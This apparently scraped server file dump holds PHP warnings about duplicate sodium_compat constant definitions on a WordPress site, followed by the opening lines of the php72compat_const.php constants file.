[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 71
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 72
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 73
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 74
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 75
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 76
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 77
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 78
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 79
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 81
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 82
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 83
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 84
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 85
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 86
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 87
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 88
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 89
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 90
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 91
[01-Nov-2025 20:11:57 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 92
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MAJOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 3
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_LIBRARY_MINOR_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 4
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_LIBRARY_VERSION already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 5
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 7
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 8
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 9
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 10
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 11
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 12
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 13
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 14
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 15
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 16
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 17
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 18
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 19
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 20
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 21
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 22
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 23
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 24
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 25
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 26
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 27
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_AUTH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 28
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEALBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 29
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 30
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 31
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 32
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 33
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 34
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_BOX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 35
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 36
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 37
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_CONTEXTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 38
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KDF_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 39
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 42
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 43
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 44
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 45
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_KX_SESSIONKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 46
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 47
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 48
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_BYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 49
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 50
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 51
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 52
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 53
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 54
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 55
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 56
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 57
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 58
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 59
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 60
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 61
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 62
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 63
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 64
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 65
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 66
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 67
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 68
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 69
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SCALARMULT_SCALARBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 70
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 71
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SHORTHASH_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 72
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 73
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_MACBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 74
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETBOX_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 75
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 76
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 77
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 78
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 79
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 81
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 82
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 83
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_BYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 84
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SEEDBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 85
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 86
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_SECRETKEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 87
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_SIGN_KEYPAIRBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 88
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 89
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 90
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 91
[03-Nov-2025 19:39:54 UTC] PHP Warning:  Constant SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES already defined in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/lib/php72compat_const.php on line 92
php72compat_const.php000064400000010765151024232700010634 0ustar00<?php

const SODIUM_LIBRARY_MAJOR_VERSION = 9;
const SODIUM_LIBRARY_MINOR_VERSION = 1;
const SODIUM_LIBRARY_VERSION = '1.0.8';

const SODIUM_BASE64_VARIANT_ORIGINAL = 1;
const SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
const SODIUM_BASE64_VARIANT_URLSAFE = 5;
const SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
const SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
const SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
const SODIUM_CRYPTO_AUTH_BYTES = 32;
const SODIUM_CRYPTO_AUTH_KEYBYTES = 32;
const SODIUM_CRYPTO_BOX_SEALBYTES = 16;
const SODIUM_CRYPTO_BOX_SECRETKEYBYTES = 32;
const SODIUM_CRYPTO_BOX_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_BOX_KEYPAIRBYTES = 64;
const SODIUM_CRYPTO_BOX_MACBYTES = 16;
const SODIUM_CRYPTO_BOX_NONCEBYTES = 24;
const SODIUM_CRYPTO_BOX_SEEDBYTES = 32;
const SODIUM_CRYPTO_KDF_BYTES_MIN = 16;
const SODIUM_CRYPTO_KDF_BYTES_MAX = 64;
const SODIUM_CRYPTO_KDF_CONTEXTBYTES = 8;
const SODIUM_CRYPTO_KDF_KEYBYTES = 32;
const SODIUM_CRYPTO_KX_BYTES = 32;
const SODIUM_CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
const SODIUM_CRYPTO_KX_SEEDBYTES = 32;
